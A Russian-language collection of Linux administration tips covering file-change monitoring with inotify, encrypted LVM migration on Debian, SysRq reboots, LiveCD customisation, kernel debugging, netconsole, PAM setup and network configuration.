    Мониторинг ввода/вывода не на уровне планировщика, а на уровне конечных процессов удобно проводить 
    при помощи утилиты iotop (http://guichaz.free.fr/iotop/)
    
     
    ----* Слежение за изменением файлов и директорий в Linux shell   [комментарии]
     
    Пакет inotify-tools содержит две полезные утилиты:
    
    inotifywait - ожидать наступления определенного события в файле или дирекотории. 
    
    inotifywatch - слежение за статистикой изменений и вывод суммарных данных.
    
    Утилиту inotifywait  удобно использовать в скриптах, например, когда нужно дождаться 
    завершения внешней операции с файлом и мгновенно среагировать на изменения.
    
    Напрмер, запустим:
       inotifywait /tmp
    
    При попытке создать файл в /tmp утилита завершит работу, выдав:
    
       /tmp/ CREATE,ISDIR v31549
    
    При попытке создать директорию:
    
       /tmp/ CREATE,ISDIR 0
    
    Если необходимо следить за изменением во всех директориях в пределах /tmp, 
    следует использовать флаг рекурсивного контроля "-r". 
    Для больших директорий может понадобиться расширить лимит /proc/sys/fs/inotify/max_user_watches.
    Используя опцию "--fromfile" можно загрузить список контролируемых файлов и директорий из файла.
    Опция "-e" позволяет реагировать только на определенный тип события, например,
    на удаление файла, игнорируя создание и открытие.
    Опция '-m' отменяет мгновенный выход после наступления события, что позволяет организовать 
    визуальное наблюдение или обработку в цикле.
    
    Пример, скрипта для обработки изменения файла:
    
       #!/bin/sh
       inotifywait -e delete -m /tmp/lock/ | while read dir events file; do
          echo "Removed $dir$file"
       done
    
    
    При выполнении:
    
       inotifywatch /tmp
    
    и последующем завершении выполнения через задание таймаута или нажатия ctrl+c, 
    будет выведена суммарная информация по каждому из классов событий, напрмер:
    
       total  modify  close_write  close_nowrite  open  create  delete  filename
       22     3       4            1              5     4       5       /tmp/
    
    Или
    
       inotifywatch -v -e access -e modify -t 60 -r /var/log
    
    через 60 секунд выдаст:
    
       14     14      /var/log/
       2      2       /var/log/apache2
       4      4       /var/log/postgresql
    
    Что касается кроссплатформенного решения, которое работает, не только в Linux, но и во FreeBSD, 
    можно привести пример слежения за изменением файла используя Perl модуль EV (http://search.cpan.org/dist/EV/),
    использующий универсальную библиотеку-враппер libev:
    
       #!/usr/bin/perl
    
       use strict;
       use EV;
    
       # Следим за изменениями в директории /tmp/watch
       # 0 - интервал опроса по умолчанию
       my $w = EV::stat "/tmp/watch", 0,
       sub {
                my ($w, $revents) = @_;
                warn $w->path, " has changed somehow.".$w->attr."\n";
                $w->stop;
                # На время обработки события, прекращаем прием нотификаций. 
                .....
                $w->start;
       };
    
       EV::loop;
    
     
    ----* Как распаковать ядро Linux из bzImage (доп. ссылка 1)   Автор: bappoy  [комментарии]
     
    Воспользоваться программой binoffset из исходников Linux-ядра:
    
       gcc -o binoffset /usr/src/linux/scripts/binoffset.c
       dd if=bzImage skip=`./binoffset bzImage 0x1f 0x8b 0x08 0x00` bs=1|gzip -d > vmlinux
    
    В файле vmlinux получаем распакованное ядро. Из него можно извлечь, например,
    версию компилятора, использованного при сборке ядра:
    
       strings vmlinux|grep "^Linux version"
    
     
    ----* Миграция на файловую систему LVM с поддержкой шифрования в Debian linux (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Администрирование Debian: How To по миграции на файловую систему LVM с поддержкой шифрования
    
    Целью данного документа является описание пути перехода на полностью шифрованную файловую 
    систему LVM (корневая файловая система и пользовательские данные, кроме загрузочного раздела). 
    Миграция возможна как с обычной LVM, так и с ext3. Все, что вам понадобится -
    наличие внешнего хранилища.
    
    Отдельно стоит отметить, что данная операция должна проводиться человеком, имеющим некоторый опыт.
    
    ЧАСТЬ 1. Установка необходимого ПО и сохранение текущей системы.
    
    Есть два способа реализации Full Encrypted LVM (далее - FELVM).
    a) Debian way (TM), где LVM размещаетя на зашифрованном виртуальном устройстве (cryptsetup).
    b) Другой путь, когда LVM создается на физическом устройстве, а затем шифруются логические разделы.
    
    Конечно, я выбираю debian way, хотя никаких определенных причин для этого нет.
    
    В качестве исходных данных у меня имеется /dev/hda1 типа Windows NTFS и несколько других разделов, 
    тип которых не важен, так как их скоро не останется.
    
    Перед тем, как мы начнем, рекомендую сделать полную копию ваших данных на
    внешний носитель с помощью CloneZilla,
    чтобы потом не иметь бледный вид.
    
    Для начала установим  'cryptsetup'. Также ядро должно ключать образ initrd для
    загрузки. Если это не так,
    установите пакет initramfs-tools. Затем создайте следующий файл в каталоге /etc/initramfs-tools/conf.d:
    
       filename: cryptroot
       contents:
       target=lukspace,source=/dev/hda3,key=none,lvm=vg-root
    
    Затем выполните команду:
    
       # update-initramfs -u
    
    Она создаст образ initrd, который будет знать, где находятся шифрованные разделы после создания.
    
    Создадим, и это обязательно, tar архив вашей системы на внешний носитель:
    
       # tar cSjf /my/external/storage/sysbackup.tar.bz2 /bin/ /boot/ \
        /etc/ /home/ /lib/ /opt/ /root/ /sbin/ /selinux/ /srv/ /usr/ /var/
    
    Если вы хотите повысить скорость выполнения данной операции, уберите флаг 'j' и расширение bz2.
    
    Это позволит сохранить все права доступа, файлы, владельцев файлов и т.д. 
    Как вы можете заметить, я пропустил каталоги /dev/, /media, /mnt, /proc, /sys, /tmp, 
    так как они будут вновь созданы на новой системе (кроме /media).
    
    Я подразумеваю, что никаких действий в системе после сохранения не производится - 
    не открываются консоли и сессии X window, кроме корневой.
    
    Настало время получить данные с внешних хранилищ. Будем считать, что оно примонтировано 
    в /media/abyss. Конечно, /media так же содержит cdrom и прочие полезные вещи.
    
    # tar cSjf /my/external/storage/databackup.tar.bz2 /media/cdrom /media/whatever /media/... 
    Все ЗА ИСКЛЮЧЕНИЕМ точки монтирования внешнего хранилища!
    
    Теперь мы защищены от любых ошибок при конфигурировании.
    
    
    
    ЧАСТЬ 2. Переформатирование диска и создание структуры FELVM.
    
    Помните: если дела приняли дурной оборот - вы всегда можете восстановиться с помощью clonezilla.
    
    Я использую clonezilla CD для большинства работ, где мне нужен live CD.
    
    Загружаем Clonezilla, настраиваем сеть. Затем в консоли (sudo su) выполняем команды:
    
       # aptitude update && aptitude dist-upgrade
    
    Возможно перед этим вам понадобится выполнить что-то подобное:
    
       # ifconfig eth0 up
       # dhclient eth0
    
    После того, как live CD обновит ПО нужно установить следущее:
    
       # aptitude install cryptsetup joe
    
    Joe - мой любимый редактор, поэтому далее мы будем считать, что и ваш тоже.
    
    Очищаем диск!
    
       # cfdisk /dev/hda
    
    и удаляем все разделы за исключением /dev/hda1 (NTFS).
    
    Создаем раздел, с которого будет осуществляться загрузка: /dev/hda2 размером 200 MB.
    
    Затем создаем другой раздел, занимающий все свободное пространство(/dev/hda3). 
    Его в последствии будет занимать rootfs и данные.
    
    Записываем таблицу разделов на диск и выходим.
    
    Мы все поломали, но не стоит волноваться, все будет восстановлено с tar архивов.
    
    Окончательно удаляем наши данные, заполняя все случайными последовательностями, 
    заодно проверяя наличие badblock:
    
       # badblocks -s -w -t random -v /dev/hda2
       # badblocks -s -w -t random -v /dev/hda3
    
    На выполнение этих команд требуется время, так что будьте терпеливы.
    
    Создаем файловую систему на загрузочном разделе:
    
       # mkfs.ext3 /dev/hda2
    
    Используя cryptsetup создадим большой раздел как устройство dm-crypt. Это очень просто:
    
       # cryptsetup -y -s 256 -c aes-cbc-essiv:sha256 luksFormat /dev/hda3
    
    Я не буду приводить объяснение всех опций, если хотите - посмотрите сами. 
    Обязательно выберите хорошее ключевое слово, которое вы сможете запомнить. 
    Позже вы сможете сменить его или сделать несколько ключевых слов.
    
    Подошло время использовать инициализированное пространство:
    
       # cryptsetup luksOpen /dev/hda3 lukspace
    
    Эта команда спросит у вас ранее введенное ключевое слово и сделает доступным /dev/mapper/lukspace. 
    Это может быть расценено как устройство, готовое принять любой вид данных. 
    Вы можете форматировать его в ext3 или построить LVM, чем мы сейчас и займемся.
    
    Создаем LVM:
    
       # pvcreate /dev/mapper/lukspace
       # vgcreate vg /dev/mapper/lukspace
       # lvcreate -L10G -nroot vg
       # lvcreate -l 100%FREE -nmyspace vg
    
    Так мы получим логический том LVM /dev/vg/root для корневой файловой системы и
    /dev/vg/myspace для наших данных.
    Это было несложно, не так ли?
    
    Дальше еще проще:
    
       # mkfs.ext3 /dev/vg/root
       # mkfs.ext3 /dev/vg/myspace
    
    
    ЧАСТЬ 3. Восстановление системных файлов и загрузка новой системы.
    
    После того, как вы создадите место для корневой файловой системы, настанет 
    пора разархивировать туда наши данные.
     
    Сперва создадим точку монтирования, которую назовем /media/rootfs и затем:
    
       # mount /dev/vg/root /media/rootfs
    
    а теперь:
    
       # cd /media/rootfs
       # tar xSjf /external_storage/sysbackup.tar.bz2
    
    После чего ждем завершения процесса.
    
    Создаем каталоги, которые не были сархивированы:
    
       # mkdir proc sys media dev tmp mnt
       # chmod 1777 tmp
    
    Теперь создаем точку монтирования bootfs и монтируем к ней будущий загрузочный раздел:
    
       # mkdir bootfs
       # mount /dev/hda2 bootfs
    
    Затем перемещаем загрузочные файлы из rootfs/boot в bootfs. Теперь /dev/hda2 
    содержит все необходимые для загрузки файлы. И последнее - изменим файл fstab  в rootfs/etc 
    таким образом, чтобы указать новое устройство /dev/vg/root.
    
    Перезагружаемся. После загрузки grub нажимаем 'e' для редактирования опций ядра и 
    указания правильного root=..., чтобы машина могла загрузиться.
    
    Хочется надеяться, что LUKS спросит у вас кодовое слово, и все пойдет хорошо!
    
    После того, как вы наиграетесь с вашей зашифрованной системой, отредактируйте /boot/grub/menu.lst 
    для указания корректного устройства root=... и запустите update-grub.
    
    Giorgos Pallas
    
     
    ----* Настройка клавиатуры для Xorg при работающем hal-0.5.10 (доп. ссылка 1)   Автор: Kroz  [комментарии]
     
    Решение представлено для Gentoo, но возможно проблема актуальна и для других дистрибутивов.
    При обновлении hal до версии 0.5.10 перестает нормально работать 
    клавиатура. По множественным отзывам в Сети, у всех перестает 
    работать преключатель раскладки, у меня еще были глюки с другими 
    клавишами (например кнопка "вверх" работала как PrtScr и др.)
    
    Для начала приведу часть xorg.conf который у меня работал испокон веков:
    
       Section "InputDevice"
           Identifier  "Chicony"
           Driver "kbd"
           Option "Protocol" "Standard"
           Option "XkbModel"    "pc105"
           Option "XkbRules"   "xorg"
           Option "XkbLayout"  "us,ru,ua"
           Option "XkbVariant" ",winkeys"
           Option "XkbOptions" "grp:lwin_toggle,grp_led:scroll"
           Option "AutoRepeat" "250 30"
       EndSection
    
    Причина того, что эта конфигурация отвалилась, состоит в том, что новая 
    версия hal просто игнорирует конфиг xorg.conf.
    
    Нашел два метода решения проблемы.
    
    Первый метод:
    http://ru.gentoo-wiki.com/HOWTO_hal_и_устройства_ввода
    
    Смысл в том, что создается файл политики hal, который содержит конфигурацию клавиатуры:
    
       /usr/share/hal/fdi/policy/20thirdparty/10russian-layout.fdi
    
    Учитывая, что в статье есть небольшие ошибки, приведу свой файл 
    конфигурации. Рекомендую сопоставлять с приведенным выше xorg.conf
    
       <?xml version="1.0" encoding="ISO-8859-1"?><!-- -*- SGML -*- -->
       <match key="info.capabilities" contains="input.keyboard">
            <merge key="input.x11_driver" type="string">kbd</merge>
            <merge key="input.xkb.model" type="string">pc105</merge>
            <merge key="input.xkb.rules" type="string">xorg</merge>
            <merge key="input.xkb.layout" type="string">us,ru</merge>
            <merge key="input.xkb.variant" type="string">,winkeys</merge>
            <merge key="input.xkb.options"   type="strlist">grp:lwin_toggle,grp_led:scroll</merge>
       </match>
    
    Думаю смысл понятен.
    
    После создания файла следует пергрузить hald и перегрузить иксы.
    
    Недостаток этого метода состоит в том, что я так и не смог настроить переключение трех языков.
    
    
    Второй метод:
    
    
    Второй метод состоит в том, что мы отключаем автоопределение 
    устройств. Для этого в xorg.conf в секцию ServerLayout дописываем 
    Option "AutoAddDevices" "False". После перегрузки иксов настройки 
    клавиатуры берутся из xorg.conf.
    
    Подозреваю, что у второго метода есть свои недостатки, но я их пока не обнаружил.
    
     
    ----* Перезагрузка Linux машины через SysRQ (доп. ссылка 1)   Автор: DoktorPZ  [комментарии]
     
    Иногда возникает ситуация, когда удаленно, по ssh например, нужно перезагрузить linux сервер. 
    Команды reboot, shutdown не работают так как нужно, то есть просто висят в
    процессах, но машина не уходит в перезагрузку.
    
    Такое часто бывает, когда отказывает диск, или начинаются проблемы с RAID массивом. 
    Для форсирования перезагрузки сервера нам подойдет sysrq.
    
    Для начала включаем sysrq через proc:
    
       echo 1 > /proc/sys/kernel/sysrq
    
    Далее посылаем нужную команду в sysrq триггер:
    
       echo b > /proc/sysrq-trigger
    
    Как показывает практика, машина мгновенно уходит в reboot.
    
     
    ----* Уменьшение размера стандартного LiveCD Fedora 7 (доп. ссылка 1)   [комментарии]
     
    Задача ужать стандартный GNOME-LiveCD Fedora7 до 400 Мб. 
    Ниже журнал действий.
    
    1. Извлекаем из iso образа LiveCD squashfs.img.
    
       mount -o loop ./Fedora-7-Live-i686.iso /mnt/cdrom
       копируем все в отдельную директорию директорию /mnt/disk/LiveCD/newcd
       umount /mnt/cdrom
    
    
    2. Монтируем squashfs.img и извлекаем из него os.img
    
       mount -o loop -t squashfs /mnt/disk/LiveCD/newcd/squashfs.img /mnt/cdrom
       копируем содержимое в /mnt/disk/LiveCD/new_ext3
       umount /mnt/cdrom
    
    
    3. Монтируем ext3 образ /mnt/disk/LiveCD/new_ext3/os.img
    
       mount -o loop /mnt/disk/LiveCD/new_ext3/os.img /mnt/disk/LiveCD/new_ext3/sysroot
    
    
    4. Удаляем лишнее и устанавливаем недостающее.
    
       chroot /mnt/disk/LiveCD/new_ext3/sysroot /bin/sh
       su -
       mount /proc
       mount /sys
       rm -rf /usr/share/doc
       в /usr/share/locale/ - оставляем только русские и английские локали
       cd /usr/share/icons; rm -rf Bluecurve gnome
       В /usr/share/pixmaps заменяем недостающее, чистим pixmaps/backgrounds/
       копируем свою фоновую картинку   
         cp  background.jpg /usr/share/gdm/themes/FedoraFlyingHigh
         cp  background.jpg /usr/share/backgrounds/images/default.jpg
        Чистим /usr/share/backgrounds
       Удаляем пакеты с китайскими шрифтами:
       rpm -e fonts-chinese fonts-arabic fonts-korean fonts-japanese
       Если rpm ругается, делаем "rpm --rebuilddb"
       Если нужно создать какие-то директории или произвести действия в момент старта livecd 
          правим fedora-live в /etc/rc.d/init.d
       Ставим желаемые пакеты, например, конфигуратор PPTP:
        rpm -Uvh http://pptpclient.sourceforge.net/yum/stable/fc7/pptp-release-current.noarch.rpm
        yum --enablerepo=pptp-stable install pptpconfig
       ....
       umount /proc
       umount /sys
    
    
    5. После приведения os.img в нужный вид, создаем новый пустой os.img и 
    копируем содержимое старого (нужно забить образ нулями, чтобы он лучше сжался, 
    иначе изменения будут только в метаданных и итоговый образ squashfs после
    сжатия получиться больше чем начальный).
    
       cd mnt/disk/LiveCD/new_ext3
       dd if=/dev/zero of=new_os.img bs=1k count=4096k
       /sbin/mkfs.ext3 -F -L "LiveCD" -m 1 new_os.img
       /sbin/tune2fs -c0 -i0 -Odir_index -ouser_xattr,acl new_os.img
    
       Монтируем новый образ
       mkdir /mnt/disk/LiveCD/new_ext3/new_sysroot
       mount -o loop ./new_os.img /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       Копируем содержимое старого через rsync, чтобы сохранить расширенные атрибуты файлов.
       rsync -a -v --acls --xattrs --hard-links /mnt/disk/LiveCD/new_ext3/sysroot /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       незабываем размонтировать и переименовать новый образ
       umount /mnt/disk/LiveCD/new_ext3/sysroot
       umount /mnt/disk/LiveCD/new_ext3/new_sysroot
       rm  /mnt/disk/LiveCD/new_ext3/new_sysroot
       mv /mnt/disk/LiveCD/new_ext3/new_os.img /mnt/disk/LiveCD/new_ext3/os.img
    
    
    6. Сжимаем ext3 образ
    
       rm /mnt/disk/LiveCD/newcd/squashfs.img
       cd /mnt/disk/LiveCD/new_ext3/
       /sbin/mksquashfs os.img sysroot /mnt/disk/LiveCD/newcd/squashfs.img
    
    
    7. Создаем iso образ для записи на CD:
    
       mkisofs -o ./live.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
         -boot-info-table -J -r -hide-rr-moved -V "Fedora-7-Live-i386" /mnt/disk/LiveCD/newcd/
    
      Если появится желание изменить метку диска Fedora-7-Live-i386, не забудьте поменять ее в isolinux/isolinux.cfg
    
     
    ----* VMWare Workstation 6 для отладки ядра Linux (доп. ссылка 1)   Автор: Тарасенко Николай  [комментарии]
     
    Недавно была добавлена интересная особенность в Workstation 6.0, которая делает
    WS6 отличным средством
    для отладки ядра Linux. Теперь можно с легкостью отлаживать Linux VM на хосте при помощи gdb 
    без каких-либо изменений в Guest VM. Ни каких kdb, перекомпиляций или еще одной
    машины не требуется.
    Все что вам потребуется, так это всего одна строчка в VM'шном конфигурационном файле.
    
    Чтобы использовать новую особенность, необходимо достать последний билд WS6:
       http://www.vmware.com/products/beta/ws/
    
    Разместить в вашем Linux VM конфигурационном файле строчку:
    
       debugStub.listen.guest32=1
    
    Теперь, всякий раз, когда вы запускаете виртуальную машину, Вы будете видеть на хост консоле:
    
       VMware Workstation is listening for debug connection on port 8832.
    
    Запустите gdb на хосте, ссылаясь на ядро, для которого у Вас есть System.map и
    присоедините его к виртуальной машине:
    
       % gdb
       (gdb) file vmlinux-2.4.21-27.EL.debug
       (gdb) target remote localhost:8832
    
     
    ----* Сетевая консоль для отладки зависаний Linux (доп. ссылка 1)   Автор: niol, debian-administration.org  [комментарии]
     
    Модуль Linux ядра netconsole позволяет экспортировать консоль на другую машину по сети,
    что полезно для отладки ситуации зависания Linux без вывода диагностики в лог и
    на экран (например, X-ы зависли).
    
    В /etc/modprobe.d/ создаем файл или добавляем в /etc/modules.conf:
    
       options netconsole netconsole=32769@192.168.1.1/eth1,32769@192.168.1.6/01:23:34:56:78:9A
    
    где, 
       192.168.1.1:32769  сетевой адрес и порт на eth1 интерфейсе локальной машины, с которого будет производится отправка пакетов.
       192.168.1.6:32769 сетевой адрес, порт и MAC адрес удаленной машины куда будет экспортирована консоль.
    
    На удаленной машине 192.168.1.6, для доступа к консоли используем netcat:
    
       nc -l -p 32769 -u
    
    Подгружаем модуль netconsole:
       modprobe netconsole
    
     
    ----* Как минимизировать проблемы при перезагрузке зависшего Linux (доп. ссылка 1)   Автор: arsgeek.com  [комментарии]
     
    Если консоль зависла, машина работает, но не откликается на CTRL-ALT-BKSPC,
    ALT-CTRL-F1, CTRL-ALT-DEL
    и по сети зайти на машину тоже нет возможности.
    
    "ALT + SysReq + r" - перевести клавиатуру в Raw режим.
    "ALT + SysReq + s" - сбросить буферы FS на диск (может занять много времени,
    если система сильно загружена).
    "ALT + SysReq + e" - отправить сигнал завершения работы процессам.
    "ALT + SysReq + i" - принудительно убить процессы не желающие завершить работу по сигналу KILL.
    'ALT + SysReq + u' - отмонтировать дисковые разделы.
    'ALT + SysReq + b' - перезагрузить машину.
    
    
    PS. Клавиша SysReq совпадает с Print Screen.
    
     
    ----* Обновляем BIOS с загрузкой DOS по сети   Автор: Андрей  [комментарии]
     
    Необходимо загрузить образ DOS по сети.
    
    1. создаем образ:
    
       dd if=/dev/zero of=floppy288.img bs=1024 count=2880
       mkdosfs floppy288.img
       ms-sys -1 -f floppy288.img
       mount -o loop floppy288.img /mnt/floppy
       cp msdos.sys /mnt/floppy
       cp io.sys /mnt/floppy
       cp command.com /mnt/floppy
       umount /mnt/floppy
    
    2. создаем файл загрузчика PXE:
    
       label linux
       kernel dos/memdisk
       append initrd=dos/floppy288.img
    
    Все, далее можно грузиться по сети, и предварительно скопировать в образ
    утилиты для обновления биос.
    
    Файл memdisk bp из пакета syslinux, из дистрибутива.
    Утилита ms-sys на sourceforge.net
    
     
    ----* Как собрать отключенный в конфигурации Linux 2.6 ядра модуль (доп. ссылка 1)   [комментарии]
     
    Чтобы собрать только один модуль входящий в комплект ядра, но отключенный в конфигурации, 
    без пересборки остальных частей (на примере ntfs):
    
       make CONFIG_NTFS_FS=m CONFIG_NTFS_DEBUG=n CONFIG_NTFS_RW=n M=fs/ntfs
    
     
    ----* Аутентификация без пароля через USB Flash в Linux (доп. ссылка 1)   [комментарии]
     
    Цель - организовать аутентификацию пользователя в Linux системе, не через ввод пароля, 
    а через вставку USB флэша или CDROM, содержащего DSA ключ.
    
    1. Устанавливаем  pam_usb (http://pamusb.sourceforge.net/);
    
    2. В /etc/pam.d/login, /etc/pam.d/xdm и т.д. прописываем, в зависимости от режима:
       2.1. Вход только при вставке Flash с ключем:
          auth       required        pam_usb.so
          #auth required pam_unix.so # комментируем строку.
    
       2.2. Можем войти просто вставив Flash или набрав пароль:
          auth       sufficient      pam_usb.so # ставим перед "auth required pam_unix.so"
    
       2.3. Режим входа только при вставке Flash с ключем одновременно с вводом пароля:
          auth       required        pam_usb.so # ставим перед "auth required pam_unix.so"
    
    3. Монтируем Flash в /mnt/usb и генерируем для пользователя ключ:
       usbadm keygen /mnt/usb логин 1024
    
     
    ----* Синхронизация Smartphone Motorola MPx200 под Linux (доп. ссылка 1)   [комментарии]
     
    Есть два способа как заставить MPX200 работать с Linux: IrDA  и wince-usb.
    
    1. Подключение через IrDA (SIR):
      
       Устанавливаем параметры для SiR порта
       /bin/setserial /dev/ttyS1 port 0x6f8 irq 3 uart 8250 baud_base 115200
    
       irattach /dev/ttyS1 -s
       
       Для RedHat-based Linux дистрибутивов делаем проще:
          В /etc/sysconfig/irda 
             IRDA=yes
             DEVICE=/dev/ttyS1
             DISCOVERY=yes
    
          # service irda start
    
       Запускем демон синхронизации (не из под root). Качаем с http://synce.sourceforge.net
          $ dccm
          Если используется пароль запускаем как "dccm -p пароль"
    
       Один раз указываем используемый  порт.
          # synce-serial-config ircomm0
       
       Стартуем pppd (про hotplug, ниже)
          # synce-serial-start
    
       Проверяем.
          $ pstatus
    
    Version
    =======
    Version:    4.20.0 (Microsoft Windows Mobile 2003 for Pocket PC Phone Edition (?))
    Platform:   3 (Windows CE)
    .....
    
       Завершаем сеанс
          # synce-serial-abort
    
    
    2. Подключение по USB.  Для 2.4.x ядра используем user space драйвер wince-usb
       http://cvs.sourceforge.net/viewcvs.py/synce/wince-usb/  + http://libusb.sourceforge.net 
      (последние 2.6.x ядра должны работать с модулями ipaq и usb-serial из коробки).
    
       Патчим. В самом начале ipaqd.c меняем значения IPAQ_ENDPOINT на
          #define IPAQ_ENDPOINT_IN        0x82                                            
          #define IPAQ_ENDPOINT_OUT       0x02  
    
       Далее в devlist[]  добавляем                                                                 
            { 0x045e, 0x00ce, "Motorola MPX200" },  
    
       Создаем /usr/local/bin/cebox.sh взяв пример из README к wince-usb, например:
          #!/bin/sh
          /usr/sbin/pppd nocrtscts local debug passive silent 192.168.1.1:192.168.1.2 ms-dns 192.168.1.1 noauth proxyarp
    
          $ dccm
    
       Подключаем телефон и сразу запускаем
          # rmmod ipaq (пока не поправили hotplug)
          # ipaqd 2>/var/log/ipaqd.log
    
       Далее запускаем synce-serial-* как в предыдущем шаге.
    
    3. Настройка HotPlug (чтобы все запускалось автоматически).
    
       В /etc/hotplug/usb.agent добавляем после блока с "LABEL="USB product $PRODUCT":
    
          if [ "$PRODUCT" = "45e/ce/0" ]; then
               /etc/hotplug/usb/ipaq
               exit 0
          fi
    
       Создаем /etc/hotplug/usb/ipaq
           #!/bin/bash
           killall -9 ipaqd
           killall dccm
           su -c /usr/bin/dccm /user/
           /usr/local/bin/ipaqd 2>/var/log/ipaq.log
    
    4. Стандартные команды synce:
          pcp - копирование файлов (аналог cp)
          pls - список файлов в директории (аналог ls)
          pmkdir - создание директории (аналог mkdir)
          pmv - перенос/переименование файлов (аналог mv)
          prm - удаление файлов (аналог rm)
          prmdir - удаление директорий
          prun - запуск программы на устройстве
          pstatus - статус устройства
          synce-install-cab - установка на устройство .cab файла
          orange - позволяет выдрать .cab из .exe инсталлера;
    
    
    В Modnight Commander удобно использовать VFS понимающую команды
    "cd #synce" и "cd #synceroot", 
    правда модуль раздаваемый на сайте synce у меня не заработал, пришлось его переписать: 
    ftp://ftp.opennet.ru/pub/sys/shell/synce-mcfs-patched/
    Для работы, копируем файлы synce и synceroot в /usr/lib/mc/extfs
    К extfs.ini добавляем:
       synce                                                                           
       synceroot
    
    Хорошая графическая оболочка для синхронизации календаря и адресной книги -
    MultiSync (http://multisync.sourceforge.net/)
    
     
    ----* Включение поддержки PAM в Slackware Linux (доп. ссылка 1)   Автор: Zebr  [комментарии]
     
    Берём:
       Slackware
       http://www.kernel.org/pub/linux/libs/pam/pre/library/
       http://www.kernel.org/pub/linux/utils/util-linux/
       ftp://ftp.pld.org.pl/software/shadow/
    
    Собираем PAM:
       ./configure
       make
       make install
    
    Собираем util-linux
      редактируем в MCONFIG переменную 
       HAVE_PAM=yes
    
    После чего стандартно
       ./configure
       make
       make install
    
    Собираем shadow
       ./configure --with-libpam
       make
       make install
    
    Система авторизации готова
    описание подключаемых модулей в /etc/pam.conf
    
    PS взято с http://linio.boo.pl/
    тамошний конфиг (мне не особо понравился) http://linio.boo.pl/pam_linio.conf
    
     
    ----* Подключение к беспроводной сети под Linux (доп. ссылка 1)   [комментарии]
     
    0. Убеждаемся, что наш беспроводной адаптер в списке поддерживаемых в Linux
    (http://www.linux-wlan.org/docs/wlan_adapters.html.gz)
    на сайте http://www.linux-wlan.org/
    
    1. Подгружаем модуль ядра: insmod prism2_usb
    
    2. Активируем wlan0
       wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable
    
    3. Устанавливаем SSID для используемой сети
       wlanctl-ng wlan0 lnxreq_autojoin ssid=stayoutofmynet authtype=opensystem
    
    4. Выставляем атрибуты WEP
       wlanctl-ng wlan0 lnxreq_hostwep encrypt=true decrypt=true
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11PrivacyInvoked=true
    
    5. Используем WEP ключ
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKeyID=3
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKey3=12:34:56:78:9A
    
    6. Конфигурируем IP
       ifconfig wlan0 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
       route add default gw 192.168.1.11
    
     
    ----* Настройка параметров последовательного порта в Gentoo Linux  (доп. ссылка 1)   Автор: Roman A Egunkov  [комментарии]
     
    Исправляем (ели нужно) в файле ``/etc/init.d/serial''
    
       SETSERIAL="/sbin/setserial"
    на
       SETSERIAL="/bin/setserial"
    
    Конфигурация должна находиться в файле ``/etc/rc.d/config/serial''
    
    Пример конфигурации:
    
    root # cat /etc/rc.d/config/serial  
       #!/etc/init.d/serial
       # setup serial ports
       # setport(device, irq, port, args)
    
       setports()
       {
           setport ttyS2 19 0xa400 "baud_base 9600"
           setport ttyS3 19 0xa000 "baud_base 115200"
           setport ttyS4 18 0xbc00 "baud_base 115200"
           setport ttyS5 19 0xb800 "baud_base 115200"
       }
    
     
    ----* Примеры сетевых настроек в Linux дистрибутивах c /etc/sysconfig   [комментарии]
     
    Список опций: /usr/share/doc/initscripts* и /usr/share/doc/net-scripts*
    
    Алиасы:
       /etc/sysconfig/network-scripts/ifcfg-eth0:1
          DEVICE=eth0:1
          BOOTPROTO=static
          IPADDR=192.168.1.1
          NETMASK=255.255.255.0
          ONBOOT=yes
    
    Множественное задание алиасов:
    
       /etc/sysconfig/network-scripts/ifcfg-eth0-range0
          DEVICE=eth0:1-10
          BOOTPROTO=static
          IPADDR_START=192.168.10.100
          IPADDR_END=192.168.10.110
          CLONENUM_START=0
          NETMASK=255.255.255.0
          ONBOOT=yes
    
       или /etc/sysconfig/network-scripts/ifcfg-eth0:0:
          IPADDR=192.168.1.1-10
    
    Вланы:
    
       /etc/sysconfig/vlan
          DOT1Q_VLANS=yes
          VLAN_NAMING=VLAN_PLUS_VID
    
       /etc/sysconfig/network-scripts/ifcfg-vlan0002
          DEVICE=vlan0002
          VLAN_TRUNK_IF=eth0
          BOOTPROTO=static
          IPADDR=192.168.1.1
          NETMASK=255.255.255.252
          ONBOOT=yes
    
    IP туннель:
       /etc/sysconfig/network-scripts/ifcfg-iptun0
          DEVICE=iptun0
          TUNLOCAL=172.16.0.2
          TUNREMOTE=172.16.0.1
          PHYSLOCAL=192.168.1.1
          PHYSREMOTE=192.196.2.1
          TTL=16
          TYPE=ipip # можно gre
          ONBOOT=yes
    
    IPSec:
       /etc/sysconfig/network-scripts/ifcfg-ipsectun0
          DEVICE=ipsectun0
          TUNLOCAL=10.0.0.1
          TUNREMOTE=10.0.0.2
          PHYSLOCAL=192.168.0.1
          PHYSREMOTE=192.168.0.2
          SPI=0x1000
          # Each tunnel must have CIPHER and/or DIGEST.
          # Basedir for CIPHERFILE and DIGESTFILE is /etc/ipsec.
          CIPHER=3des-cbc
          CIPHERFILE=random-3des.key
          DIGEST=md5
          DIGESTFILE=random-md5.key
          ONBOOT=no
    
     
    ----* Объединение сетевых интерфейсов под Linux (доп. ссылка 1)   [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c.
    
    Документация: Documentation/networking/bonding.txt в дереве исходных текстов
    ядра и "modinfo bonding".
    Кратко:
       Подгружаем модуль ядра "bonding", в /etc/modules.conf указываем
         alias bond0 bonding
       При желании устанавливаем опции для доп. настройки модуля, например:
         options bond0 mode=2, где mode=
            0 - balance-rr (Round-robin выбор интерфейса)
            1 - active-backup (работает только один интерфейс, остальные в режиме горячей замены)
            2 - balance-xor - для всех пересылок на MAC закрепляется один из интерфейсов
            3 - broadcast - трафик идет через оба интерфейса одновременно
            4 - 802.3ad - для коммутаторов с поддержкой IEEE 802.3ad Dynamic link aggregation
            5 - balance-tlb, 6 - balance-alb
       /sbin/ifconfig bond0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up
       /sbin/ifenslave bond0 eth0
       /sbin/ifenslave bond0 eth1
    
